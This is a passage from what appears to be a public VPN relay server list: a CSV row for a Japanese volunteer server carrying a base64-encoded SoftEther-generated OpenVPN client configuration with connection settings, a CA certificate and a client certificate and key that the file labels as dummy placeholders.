jDQojIFRoZSBjbGllbnQgY2VydGlmaWNhdGUgZmlsZSAoZHVtbXkpLg0KIyANCiMgSW4gc29tZSBpbXBsZW1lbnRhdGlvbnMgb2YgT3BlblZQTiBDbGllbnQgc29mdHdhcmUNCiMgKGZvciBleGFtcGxlOiBPcGVuVlBOIENsaWVudCBmb3IgaU9TKSwNCiMgYSBwYWlyIG9mIGNsaWVudCBjZXJ0aWZpY2F0ZSBhbmQgcHJpdmF0ZSBrZXkgbXVzdCBiZSBpbmNsdWRlZCBvbiB0aGUNCiMgY29uZmlndXJhdGlvbiBmaWxlIGR1ZSB0byB0aGUgbGltaXRhdGlvbiBvZiB0aGUgY2xpZW50Lg0KIyBTbyB0aGlzIHNhbXBsZSBjb25maWd1cmF0aW9uIGZpbGUgaGFzIGEgZHVtbXkgcGFpciBvZiBjbGllbnQgY2VydGlmaWNhdGUNCiMgYW5kIHByaXZhdGUga2V5IGFzIGZvbGxvd3MuDQoNCjxjZXJ0Pg0KLS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tDQpNSUlDeGpDQ0FhNENBUUF3RFFZSktvWklodmNOQVFFRkJRQXdLVEVhTUJnR0ExVUVBeE1SVmxCT1IyRjBaVU5zDQphV1Z1ZEVObGNuUXhDekFKQmdOVkJBWVRBa3BRTUI0WERURXpNREl4TVRBek5EazBPVm9YRFRNM01ERXhPVEF6DQpNVFF3TjFvd0tURWFNQmdHQTFVRUF4TVJWbEJPUjJGMFpVTnNhV1Z1ZEVObGNuUXhDekFKQmdOVkJBWVRBa3BRDQpNSUlCSWpBTkJna3Foa2lHOXcwQkFRRUZBQU9DQVE4QU1JSUJDZ0tDQVFFQTVoMmxnUVFZVWp3b0tZSmJ6VlpBDQo1VmNJR2Q1b3RQYy9xWlJNdDBLSXRDRkEwczlSd1JlTlZhOWZEUkZMUkJoY0lUT2x2M0ZCY1czRThoMVVzN1JEDQo0VzhHbUplOHphcEpuTHNEMzlPU01SQ3paSm5jelc0T0NIMVBaUlpXS3FEdGpsTmNhOUFGOGE2NWpUbWxEeENRDQpDam50TElXazVPTExWa0Z0OS90U2NjMUdEdGNpNTVvZmhhTkFZTVBpSDdWOCsxZzY2cEdIWEFvV0s2QVFWSDY3DQpYQ0tKbkdCNW5sUStIc01ZUFYvTzQ5TGQ5MVpOLzJ0SGtjYUxMeU50eXd4VlBSU3NSaDQ4MGpqdTBmY0NzdjZoDQpwLzB5WG5UQi8vbVd1dEJHcGRVbElid2lJVGJBbXJzYlluamlnUnZuUHFYMVJOSlViaTlGcDZDMmMvSElGSkdEDQp5d0lEQVFBQk1BMEdDU3FHU0liM0RRRUJCUVVBQTRJQkFRQ2hPNWhnY3cvNG9XZm9FRkx1OWtCYTFCLy9reEg4DQpoUWtDaFZObjhCUkM3WTBVUlFpdFBsM0RLRWVkOVVSQkRkZzJLT0F6NzdiYjZFTlBpbGlEK2EzOFVKSElSTXFlDQpVQkhobGxPSEl6dkRoSEZiYW92QUxCUWNlZUJ6ZGtReHNLUUVTS21RbVI4MzI5NTBVQ292b3lSQjYxVXlBVjdoDQorbVpoWVBHUktYS1NKSTZzMEVnZy9DcmkrQ3drNGJqSmZyYjVoVnNlMTF5aDREOU1IaHdTZkNPSCswejRoUFVUDQpGa3U3ZEdhdlVSTzVTVnhNbi9zTDZFbjVEK29TZVhrYWRIcERzK0FpcnltMllIaDE1aDAralBTT29SNnlpVnAvDQo2elplWmtyTjQza3VTNzNLcEtERmpmRlBoOHQ0cjFnT0lqdHRrTmNRcUJjY3VzbnBsUTdISnBzaw0KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQ0KDQo8L2NlcnQ+DQoNCjxrZXk+DQotLS0tLUJFR0lOIFJTQSBQUklWQVRFIEtFWS0tLS0tDQpNSUlFcEFJQkFBS0NBUUVBNWgybGdRUVlVandvS1lKYnpWWkE1VmNJR2Q1b3RQYy9xWlJNdDBLSXRDRkEwczlSDQp3UmVOVmE5ZkRSRkxSQmhjSVRPbHYzRkJjVzNFOGgxVXM3UkQ0VzhHbUplOHphcEpuTHNEMzlPU01SQ3paSm5jDQp6VzRPQ0gxUFpSWldLcUR0amxOY2E5QUY4YTY1alRtbER4Q1FDam50TElXazVPTExWa0Z0OS90U2NjMUdEdGNpDQo1NW9maGFOQVlNUGlIN1Y4KzFnNjZwR0hYQW9XSzZBUVZINjdYQ0tKbkdCNW5sUStIc01ZUFYvTzQ5TGQ5MVpODQovMnRIa2NhTEx5TnR5d3hWUFJTc1JoNDgwamp1MGZjQ3N2NmhwLzB5WG5UQi8vbVd1dEJHcGRVbElid2lJVGJBDQptcnNiWW5qaWdSdm5QcVgxUk5KVWJpOUZwNkMyYy9ISUZKR0R5d0lEQVFBQkFvSUJBRVJWN1g1QXZ4QTh1UmlLDQprOFNJcHNEMGRYMXBKT01Jd2FrVVZ5dmM0RWZOMERoS1JOYjRyWW9TaUVHVEx5ekxweUJjL0EyOERsa201ZU9ZDQpmanpYZllrR3RZaS9GdHhrZzNPOXZjck1RNCs2aSt1R0hhSUwyckwrczRNcmZPOHYxeHY2K1dreTMzRUVHQ291DQpRaXdWR1JGUVhuUm9RNjJOQkNGYlVOTGhtWHdkajFha1p6TFU0cDVSNHpBM1FoZHh3RUlhdFZMdDArN293TFEzDQpsUDhzZlhocHBQT1hqVHFNRDRRa1l3elBBYTgvekY3YWNuNGtyeXJVUDdRNlBBZmQwekVWcU55OVpDWjlmZmhvDQp6WGVkRmo0ODZJRm9jNWduVHAyTjZqc25WajRMQ0dJaGxWSGxZR296S0tGcUpjUVZHc0hDcXExb3oyempXNkxTDQpvUllJSGdFQ2dZRUE4elpya0N3TllTWEp1T0RKM20vaE9MVnhjeGdKdXdYb2lFcldkMEU0MnZQYW5qalZNaG50DQpLWTVsOHFHTUo2RmhLOUxZeDJxQ3JmL0UwWHRVQVoyd1ZxM09SVHlHbnNNV3JlOXRMWXM1NVgrWk4xMFRjNzV6DQo0aGFjYlUwaHFLTjFIaURtc01SWTMvMk5hWkhveTdNS253SkpCYUc0OGw5Q0NUbFZ3TUhvY0lFQ2dZRUE4amJ5DQpkR2p4VEgrNlhIV05pemI1U1JiWnhBbnlFZUplUndUTWgwZ0d6d0dQcEgvc1pZR3p5dTBTeVNYV0NuWmgzUmdxDQo1dUxsTnh0clhybGpabHlpMm5RZFFnc3EyWXJXVXMwK3pnVSsyMnVRc1pwU0FmdG1oVnJ0dmV0Nk1qVmpiQnlZDQpEQURjaUVWVWRKWUlYaytxbkZVSnllcm9MSWtUajdXWUtaNlJqa3NDZ1lCb0NGSXdSRGVnNDJvSzg5UkZtbk9yDQpMeW1OQXE0KzJvTWhzV2xWYjRlaldJV2VBazluYytHWFVmclhzelJoUzAxbVVuVTVyNXlnVXZSY2FyVi9UM1U3DQpUbk1aK0k3WTREZ1dSSURkNTF6bmh4SUJ0WVY1ai9DL3Q4NUhqcU9rSCs4YjZSVGtiY2hhWDNtYXU3ZnBVZmRzDQpGcTBuaElxNDJmaEVPOHNyZllZd2dRS0JnUUN5aGkxTi84dGFSd3BrKzMvSURFelF3amJmZHpVa1dXU0RrOVhzDQpIL3BrdVJIV2ZUTVAzZmxXcUVZZ1cvTFc0MHBlVzJIRHE1aW1kVjgrQWdaeGUvWE1iYWppOUxnd2YxUlkwMDVuDQpLeGFaUXo3eXFIdXBXbExHRjY4RFBIeGtaVlZTYWdEblYvc3p0V1g2U0ZzQ3FGVm54SVhpZlhHQzRjVzVObTlnDQp2YThxNFFLQmdRQ0VoTFZlVWZkd0t2a1o5NGcvR0Z6NzMxWjJocmRWaGdNWmFVL3U2dDBWOTUrWWV6UE5DUVpCDQp3bUU5TW1sYnExZW1EZVJPaXZqQ2ZvR2hSM2taWFcxcFRLbExoNlpNVVFVT3BwdGRYdmE4WHhmb3FRd2EzZW5BDQpNN211QmJGMFhON1ZPODBpSlB2K1BtSVpkRUlBa3B3S2ZpMjAxWUIrQmFmQ0l1R3hJRjUwVmc9PQ0KLS0tLS1FTkQgUlNBIFBSSVZBVEUgS0VZLS0tLS0NCg0KPC9rZXk+DQoNCg== +vpn743284148,124.211.146.144,1385450,22,28046715,Japan,JP,24,681744195,165940,6445959652178,2weeks,DESKTOP-QCOS1LQ's owner,,IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPcGVuVlBOIDIuMCBTYW1wbGUgQ29uZmlndXJhdGlvbiBGaWxlDQojIGZvciBQYWNrZXRpWCBWUE4gLyBTb2Z0RXRoZXIgVlBOIFNlcnZlcg0KIyANCiMgISEhIEFVVE8tR0VORVJBVEVEIEJZIFNPRlRFVEhFUiBWUE4gU0VSVkVSIE1BTkFHRU1FTlQgVE9PTCAhISENCiMgDQojICEhISBZT1UgSEFWRSBUTyBSRVZJRVcgSVQgQkVGT1JFIFVTRSBBTkQgTU9ESUZZIElUIEFTIE5FQ0VTU0FSWSAhISENCiMgDQojIFRoaXMgY29uZmlndXJhdGlvbiBmaWxlIGlzIGF1dG8tZ2VuZXJhdGVkLiBZb3UgbWlnaHQgdXNlIHRoaXMgY29uZmlnIGZpbGUNCiMgaW4gb3JkZXIgdG8gY29ubmVjdCB0byB0aGUgUGFja2V0aVggVlBOIC8gU29mdEV0aGVyIFZQTiBTZXJ2ZXIuDQojIEhvd2V2ZXIsIGJlZm9yZSB5b3UgdHJ5IGl0LCB5b3Ugc2hvdWxkIHJldmlldyB0aGUgZGVzY3JpcHRpb25zIG9mIHRoZSBmaWxlDQojIHRvIGRldGVybWluZSB0aGUgbmVjZXNzaXR5IHRvIG1vZGlmeSB0byBzdWl0YWJsZSBmb3IgeW91ciByZWFsIGVudmlyb25tZW50Lg0KIyBJZiBuZWNlc3NhcnksIHlvdSBoYXZlIHRvIG1vZGlmeSBhIGxpdHRsZSBhZGVxdWF0ZWx5IG9uIHRoZSBmaWxlLg0KIyBGb3IgZXhhbXBsZSwgdGhlIElQIGFkZHJlc3Mgb3IgdGhlIGhvc3RuYW1lIGFzIGEgZGVzdGluYXRpb24gVlBOIFNlcnZlcg0KIyBzaG91bGQgYmUgY29uZmlybWVkLg0KIyANCiMgTm90ZSB0aGF0IHRvIHVzZSBPcGVuVlBOIDIuMCwgeW91IGhhdmUgdG8gcHV0IHRoZSBjZXJ0aWZpY2F0aW9uIGZpbGUgb2YNCiMgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIgb24gdGhlIE9wZW5WUE4gQ2xpZW50IGNvbXB1dGVyIHdoZW4geW91IHVzZSB0aGlzDQojIGNvbmZpZyBmaWxlLiBQbGVhc2UgcmVmZXIgdGhlIGJlbG93IGRlc2NyaXB0aW9ucyBjYXJlZnVsbHkuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB0eXBlIG9mIHRoZSBsYXllciBvZiB0aGUgVlBOIGNvbm5lY3Rpb24uDQojIA0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgIlJlbW90ZS1BY2Nlc3MgVlBOIENsaWVudCBQQyIsDQojICBzcGVjaWZ5ICdkZXYgdHVuJy4gKExheWVyLTMgSVAgUm91dGluZyBNb2RlKQ0KIw0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgYnJpZGdpbmcgZXF1aXBtZW50IG9mICJTaXRlLXRvLVNpdGUgVlBOIiwNCiMgIHNwZWNpZnkgJ2RldiB0YXAnLiAoTGF5ZXItMiBFdGhlcm5ldCBCcmlkZ2luZSBNb2RlKQ0KDQpkZXYgdHVuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB1bmRlcmx5aW5nIHByb3RvY29sIGJleW9uZCB0aGUgSW50ZXJuZXQuDQojIE5vdGUgdGhhdCB0aGlzIHNldHRpbmcgbXVzdCBiZSBjb3JyZXNwb25kIHdpdGggdGhlIGxpc3RlbmluZyBzZXR0aW5nIG9uDQojIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgU3BlY2lmeSBlaXRoZXIgJ3Byb3RvIHRjcCcgb3IgJ3Byb3RvIHVkcCcuDQoNCnByb3RvIHRjcA0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGRlc3RpbmF0aW9uIGhvc3RuYW1lIC8gSVAgYWRkcmVzcywgYW5kIHBvcnQgbnVtYmVyIG9mDQojIHRoZSB0YXJnZXQgVlBOIFNlcnZlci4NCiMgDQojIFlvdSBoYXZlIHRvIHNwZWNpZnkgYXMgJ3JlbW90ZSA8SE9TVE5BTUU+IDxQT1JUPicuIFlvdSBjYW4gYWxzbw0KIyBzcGVjaWZ5IHRoZSBJUCBhZGRyZXNzIGluc3RlYWQgb2YgdGhlIGhvc3RuYW1lLg0KIyANCiMgTm90ZSB0aGF0IHRoZSBhdXRvLWdlbmVyYXRlZCBiZWxvdyBob3N0bmFtZSBhcmUgYSAiYXV0by1kZXRlY3RlZA0KIyBJUCBhZGRyZXNzIiBvZiB0aGUgVlBOIFNlcnZlci4gWW91IGhhdmUgdG8gY29uZmlybSB0aGUgY29ycmVjdG5lc3MNCiMgYmVmb3JlaGFuZC4NCiMgDQojIFdoZW4geW91IHdhbnQgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlciBieSB1c2luZyBUQ1AgcHJvdG9jb2wsDQojIHRoZSBwb3J0IG51bWJlciBvZiB0aGUgZGVzdGluYXRpb24gVENQIHBvcnQgc2hvdWxkIGJlIHNhbWUgYXMgb25lIG9mDQojIHRoZSBhdmFpbGFibGUgVENQIGxpc3RlbmVycyBvbiB0aGUgVlBOIFNlcnZlci4NCiMgDQojIFdoZW4geW91IHVzZSBVRFAgcHJvdG9jb2wsIHRoZSBwb3J0IG51bWJlciBtdXN0IHNhbWUgYXMgdGhlIGNvbmZpZ3VyYXRpb24NCiMgc2V0dGluZyBvZiAiT3BlblZQTiBTZXJ2ZXIgQ29tcGF0aWJsZSBGdW5jdGlvbiIgb24gdGhlIFZQTiBTZXJ2ZXIuDQoNCnJlbW90ZSAxMjQuMjExLjE0Ni4xNDQgMTIwMQ0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIEhUVFAvSFRUUFMgcHJveHkgc2V0dGluZy4NCiMgDQojIE9ubHkgaWYgeW91IGhhdmUgdG8gdXNlIHRoZSBJbnRlcm5ldCB2aWEgYSBwcm94eSwgdW5jb21tZW50IHRoZSBiZWxvdw0KIyB0d28gbGluZXMgYW5kIHNwZWNpZnkgdGhlIHByb3h5IGFkZHJlc3MgYW5kIHRoZSBwb3J0IG51bWJlci4NCiMgSW4gdGhlIGNhc2Ugb2YgdXNpbmcgcHJveHktYXV0aGVudGljYXRpb24sIHJlZmVyIHRoZSBPcGVuVlBOIG1hbnVhbC4NCg0KO2h0dHAtcHJveHktcmV0cnkNCjtodHRwLXByb3h5IFtwcm94eSBzZXJ2ZXJdIFtwcm94eSBwb3J0XQ0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGVuY3J5cHRpb24gYW5kIGF1dGhlbnRpY2F0aW9uIGFsZ29yaXRobS4NCiMgDQojIERlZmF1bHQgc2V0dGluZyBpcyBnb29kLiBNb2RpZnkgaXQgYXMgeW91IHByZWZlci4NCiMgV2hlbiB5b3Ugc3BlY2lmeSBhbiB1bnN1cHBvcnRlZCBhbGdvcml0aG0sIHRoZSBlcnJvciB3aWxsIG9jY3VyLg0KIyANCiMgVGhlIHN1cHBvcnRlZCBhbGdvcml0aG1zIGFyZSBhcyBmb2xsb3dzOg0KIyAgY2lwaGVyOiBbTlVMTC1DSVBIRVJdIE5VTEwgQUVTLTEyOC1DQkMgQUVTLTE5Mi1DQkMgQUVTLTI1Ni1DQkMgQkYtQ0JDDQojICAgICAgICAgIENBU1QtQ0JDIENBU1Q1LUNCQyBERVMtQ0JDIERFUy1FREUtQ0JDIERFUy1FREUzLUNCQyBERVNYLUNCQw0KIyAgICAgICAgICBSQzItNDAtQ0JDIFJDMi02NC1DQkMgUkMyLUNCQyBDQU1FTExJQS0xMjgtQ0JDIENBTUVMTElBLTE5Mi1DQkMgQ0FNRUxMSUEtMjU2LUNCQw0KIyAgZGF0YS1jaXBoZXJzOiBzYW1lIGFzIGNpcGhlcg0KIyAgYXV0aDogICBTSEEgU0hBMSBTSEEyNTYgU0hBMzg0IFNIQTUxMiBNRDUgTUQ0IFJNRDE2MA0KIw0KIyBOb3RlOiBUbyBzb2x2ZSBPcGVuVlBOIGNvbXBhdGliaWxpdHkgYnVnDQojIFJlY2VudCB2ZXJzaW9ucyBvZiB0aGUgT3BlblZQTiBhcHAgcmVxdWlyZSBzcGVjaWZ5aW5nIHRoZSAiZGF0YS1jaXBoZXJzIg0KIyBmaWVsZCBpbnN0ZWFkIG9mIHRoZSAiY2lwaGVyIiBmaWVsZC4gSG93ZXZlciwgb2xkZXIgdmVyc2lvbnMgb2YgdGhlIE9wZW5WUE4gYXBwDQojIGRvIG5vdCByZWNvZ25pemUgImRhdGEtY2lwaGVycy4iIFJhdGhlciB0aGFuIGlnbm9yaW5nIGl0LCB0aGV5IHByb2R1Y2UNCiMgYSBzdGFydHVwIGVycm9yIHN0YXRpbmcgdGhhdCAibm8gc3VjaCBvcHRpb24gZXhpc3RzLiIgVGhpcyBpcyBhIGJ1Zw0KIyBpbiBPcGVuVlBOLiBJZiB5b3UgZW5jb3VudGVyIHRoaXMgaXNzdWUsIHBsZWFzZSBjb21tZW50IG91dA0KIyB0aGUgImRhdGEtY2lwaGVycyIgbGluZS4NCg0KY2lwaGVyIEFFUy0xMjgtQ0JDDQpkYXRhLWNpcGhlcnMgQUVTLTEyOC1DQkMNCmF1dGggU0hBMQ0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgT3RoZXIgcGFyYW1ldGVycyBuZWNlc3NhcnkgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlci4NCiMgDQojIEl0IGlzIG5vdCByZWNvbW1lbmRlZCB0byBtb2RpZnkgaXQgdW5sZXNzIHlvdSBoYXZlIGEgcGFydGljdWxhciBuZWVkLg0KDQpyZXNvbHYtcmV0cnkgaW5maW5pdGUNCm5vYmluZA0KcGVyc2lzdC1rZXkNCnBlcnNpc3QtdHVuDQpjbGllbnQNCnZlcmIgMw0KI2F1dGgtdXNlci1wYXNzDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBUaGUgY2VydGlmaWNhdGUgZmlsZSBvZiB0aGUgZGVzdGluYXRpb24gVlBOIFNlcnZlci4NCiMgDQojIFRoZSBDQSBjZXJ0aWZpY2F0ZSBmaWxlIGlzIGVtYmVkZGVkIGluIHRoZSBpbmxpbmUgZm9ybWF0Lg0KIyBZb3UgY2FuIHJlcGxhY2UgdGhpcyBDQSBjb250ZW50cyBpZiBuZWNlc3NhcnkuDQojIFBsZWFzZSBub3RlIHRoYXQgaWYgdGhlIHNlcnZlciBjZXJ0aWZpY2F0ZSBpcyBub3QgYSBzZWxmLXNpZ25lZCwgeW91IGhhdmUgdG8NCiMgc3BlY2lmeSB0aGUgc2lnbmVyJ3Mgcm9vdCBjZXJ0aWZpY2F0ZSAoQ0EpIGhlcmUuDQoNCjxjYT4NCi0tLS0tQkVHSU4gQ0VSVElGSUNBVEUtLS0tLQ0KTUlJRmF6Q0NBMU9nQXdJQkFnSVJBSUlRejdEU1FPTlpSR1BndTJPQ2l3QXdEUVlKS29aSWh2Y05BUUVMQlFBdw0KVHpFTE1Ba0dBMVVFQmhNQ1ZWTXhLVEFuQmdOVkJBb1RJRWx1ZEdWeWJtVjBJRk5sWTNWeWFYUjVJRkpsYzJWaA0KY21Ob0lFZHliM1Z3TVJVd0V3WURWUVFERXd4SlUxSkhJRkp2YjNRZ1dERXdIaGNOTVRVd05qQTBNVEV3TkRNNA0KV2hjTk16VXdOakEwTVRFd05ETTRXakJQTVFzd0NRWURWUVFHRXdKVlV6RXBNQ2NHQTFVRUNoTWdTVzUwWlhKdQ0KWlhRZ1UyVmpkWEpwZEhrZ1VtVnpaV0Z5WTJnZ1IzSnZkWEF4RlRBVEJnTlZCQU1UREVsVFVrY2dVbTl2ZENCWQ0KTVRDQ0FpSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnSVBBRENDQWdvQ2dnSUJBSzNvSkhQMEZEZnptNTRyVnlnYw0KaDc3Y3Q5ODRrSXh1UE9aWG9IajNkY0tpL3ZWcWJ2WUFUeWpiM21pR2JFU1R0ckZqL1JRU2E3OGYwdW94bXlGKw0KMFRNOHVrajEzWG5mczdqL0V2RWhta3ZCaW9aeGFVcG1abXlQZmp4d3Y2MHBJZ2J6NU1EbWdLN2lTNCszbVg2VQ0KQTUvVFI1ZDhtVWdqVStnNHJrOEtiNE11MFVsWGpJQjB0dG92MERpTmV3TndJUnQxOGpBOCtvK3UzZHBqcStzVw0KVDhLT0VVdCt6d3ZvLzdWM0x2U3llMHJnVEJJbERIQ05BeW1nNFZNazdCUFo3aG0vRUxOS2pEK0pvMkZSM3F5SA0KQjVUMFkzSHNMdUp2VzVpQjRZbGNOSGxzZHU4N2tHSjU1dHVrbWk4bXhkQVE0UTdlMlJDT0Z2dTM5NmozeCtVQw0KQjVpUE5naVY1K0kzbGcwMmRaNzdEbkt4SFp1OEEvbEpCZGlCM1FXMEt0WkI2YXdCZHBVS0Q5amYxYjBTSHpVdg0KS0JkczBwakJxQWxrZDI1SE43ck9yRmxlYUoxL2N0YUp4UVpCS1Q1WlB0MG05U1RKRWFkYW8weEFIMGFobWJXbg0KT2xGdWhqdWVmWEtuRWdWNFdlMCtVWGdWQ3dPUGpkQXZCYkkrZTBvY1MzTUZFdnpHNnVCUUUzeERrM1N6eW5Ubg0Kamg4QkNOQXcxRnR4TnJRSHVzRXdNRnhJdDRJN21LWjlZSXFpb3ltQ3pMcTlnd1Fib29NRFFhSFdCZkVid3Jidw0KcUh5R08wYW9TQ3FJM0hhYWRyOGZhcVU5R1kvck9QTmszc2dyRFFvby8vZmI0aFZDMUNMUUoxM2hlZjRZNTNDSQ0KclU3bTJZczZ4dDBuVVc3L3ZHVDFNME5QQWdNQkFBR2pRakJBTUE0R0ExVWREd0VCL3dRRUF3SUJCakFQQmdOVg0KSFJNQkFmOEVCVEFEQVFIL01CMEdBMVVkRGdRV0JCUjV0Rm5tZTdibDVBRnpnQWlJeUJwWTl1bWJiakFOQmdrcQ0KaGtpRzl3MEJBUXNGQUFPQ0FnRUFWUjlZcWJ5eXFGRFFETEhZR21rZ0p5a0lyR0YxWElwdStJTGxhUy9WOWxaTA0KdWJoekVGblRJWmQrNTB4eCs3TFNZSzA1cUF2cUZ5RldoZkZRRGxucnp1Qlo2YnJKRmUrR25ZK0VnUGJrNlpHUQ0KM0JlYllodEY4R2FWMG54dnd1bzc3eC9QeTlhdUovR3BzTWl1L1gxK212b2lCT3YvMlgvcWtTc2lzUmNPai9LSw0KTkZ0WTJQd0J5VlM1dUNiTWlvZ3ppVXd0aER5QzMrNldWd1c2TEx2M3hMZkhUanVDdmpISUluTnprdEhDZ0tRNQ0KT1JBekk0Sk1QSitHc2xXWUhiNHBob3dpbTU3aWF6dFhPb0p3VGR3Sng0bkxDZ2ROYk9oZGpzbnZ6cXZIdTdVcg0KVGtYV1N0QW16T1Z5eWdocXBaWGpGYUgzcE8zSkxGK2wrLytzS0FJdXZ0ZDd1K054ZTVBVzB3ZGVSbE44TndkQw0Kak5QRWxwelZtYlVxNEpVYWdFaXVURGtIenN4SHBGS1ZLN3E0KzYzU00xTjk1UjFOYmRXaHNjZENiK1pBSnpWYw0Kb3lpM0I0M25qVE9RNXlPZisxQ2NlV3hHMWJRVnM1WnVmcHNNbGpxNFVpMC8xbHZoK3dqQ2hQNGtxS09KMnF4cQ0KNFJncXNhaERZVnZUSDl3N2pYYnlMZWlOZGQ4WE0ydzlVL3Q3eTBGZi85eWkwR0U0NFphNHJGMkxOOWQxMVRQQQ0KbVJHdW5VSEJjbldFdmdKQlFsOW5KRWlVMFpzbnZnYy91YmhQZ1hSUjRYcTM3WjBqNHI3ZzFTZ0VFend4QTU3ZA0KZW15UHhnY1l4bi9lUjQ0L0tKNEVCcytsVkRSM3ZleUptK2tYUTk5YjIxLytqaDVYb3MxQW5YNWlJdHJlR0NjPQ0KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQ0KDQo8L2NhPg0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGNsaWVudCBjZXJ0aWZpY2F0ZSBmaWxlIChkdW1teSkuDQojIA0KIyBJbiBzb21lIGltcGxlbWVudGF0aW9ucyBvZiBPcGVuVlBOIENsaWVudCBzb2Z0d2FyZQ0KIyAoZm9yIGV4YW1wbGU6IE9wZW5WUE4gQ2xpZW50IGZvciBpT1MpLA0KIyBhIHBhaXIgb2YgY2xpZW50IGNlcnRpZmljYXRlIGFuZCBwcml2YXRlIGtleSBtdXN0IGJlIGluY2x1ZGVkIG9uIHRoZQ0KIyBjb25maWd1cmF0aW9uIGZpbGUgZHVlIHRvIHRoZSBsaW1pdGF0aW9uIG9mIHRoZSBjbGllbnQuDQojIFNvIHRoaXMgc2FtcGxlIGNvbmZpZ3VyYXRpb24gZmlsZSBoYXMgYSBkdW1teSBwYWlyIG9mIGNsaWVudCBjZXJ0aWZpY2F0ZQ0KIyBhbmQgcHJpdmF0ZSBrZXkgYXMgZm9sbG93cy4NCg0KPGNlcnQ+DQotLS0tLUJFR0lOIENFUlRJRklDQVRFLS0tLS0NCk1JSUN4akNDQWE0Q0FRQXdEUVlKS29aSWh2Y05BUUVGQlFBd0tURWFNQmdHQTFVRUF4TVJWbEJPUjJGMFpVTnMNCmFXVnVkRU5sY25ReEN6QUpCZ05WQkFZVEFrcFFNQjRYRFRFek1ESXhNVEF6TkRrME9Wb1hEVE0zTURFeE9UQXoNCk1UUXdOMW93S1RFYU1CZ0dBMVVFQXhNUlZsQk9SMkYwWlVOc2FXVnVkRU5sY25ReEN6QUpCZ05WQkFZVEFrcFENCk1JSUJJakFOQmdrcWhraUc5dzBCQVFFRkFBT0NBUThBTUlJQkNnS0NBUUVBNWgybGdRUVlVandvS1lKYnpWWkENCjVWY0lHZDVvdFBjL3FaUk10MEtJdENGQTBzOVJ3UmVOVmE5ZkRSRkxSQmhjSVRPbHYzRkJjVzNFOGgxVXM3UkQNCjRXOEdtSmU4emFwSm5Mc0QzOU9TTVJDelpKbmN6VzRPQ0gxUFpSWldLcUR0amxOY2E5QUY4YTY1alRtbER4Q1ENCkNqbnRMSVdrNU9MTFZrRnQ5L3RTY2MxR0R0Y2k1NW9maGFOQVlNUGlIN1Y4KzFnNjZwR0hYQW9XSzZBUVZINjcNClhDS0puR0I1bmxRK0hzTVlQVi9PNDlMZDkxWk4vMnRIa2NhTEx5TnR5d3hWUFJTc1JoNDgwamp1MGZjQ3N2NmgNCnAvMHlYblRCLy9tV3V0QkdwZFVsSWJ3aUlUYkFtcnNiWW5qaWdSdm5QcVgxUk5KVWJpOUZwNkMyYy9ISUZKR0QNCnl3SURBUUFCTUEwR0NTcUdTSWIzRFFFQkJRVUFBNElCQVFDaE81aGdjdy80b1dmb0VGTHU5a0JhMUIvL2t4SDgNCmhRa0NoVk5uOEJSQzdZMFVSUWl0UGwzREtFZWQ5VVJCRGRnMktPQXo3N2JiNkVOUGlsaUQrYTM4VUpISVJNcWUNClVCSGhsbE9ISXp2RGhIRmJhb3ZBTEJRY2VlQnpka1F4c0tRRVNLbVFtUjgzMjk1MFVDb3ZveVJCNjFVeUFWN2gNCittWmhZUEdSS1hLU0pJNnMwRWdnL0NyaStDd2s0YmpKZnJiNWhWc2UxMXloNEQ5TUhod1NmQ09IKzB6NGhQVVQNCkZrdTdkR2F2VVJPNVNWeE1uL3NMNkVuNUQrb1NlWGthZEhwRHMrQWlyeW0yWUhoMTVoMCtqUFNPb1I2eWlWcC8NCjZ6WmVaa3JONDNrdVM3M0twS0RGamZGUGg4dDRyMWdPSWp0dGtOY1FxQmNjdXNucGxRN0hKcHNrDQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tDQoNCjwvY2VydD4NCg0KPGtleT4NCi0tLS0tQkVHSU4gUlNBIFBSSVZBVEUgS0V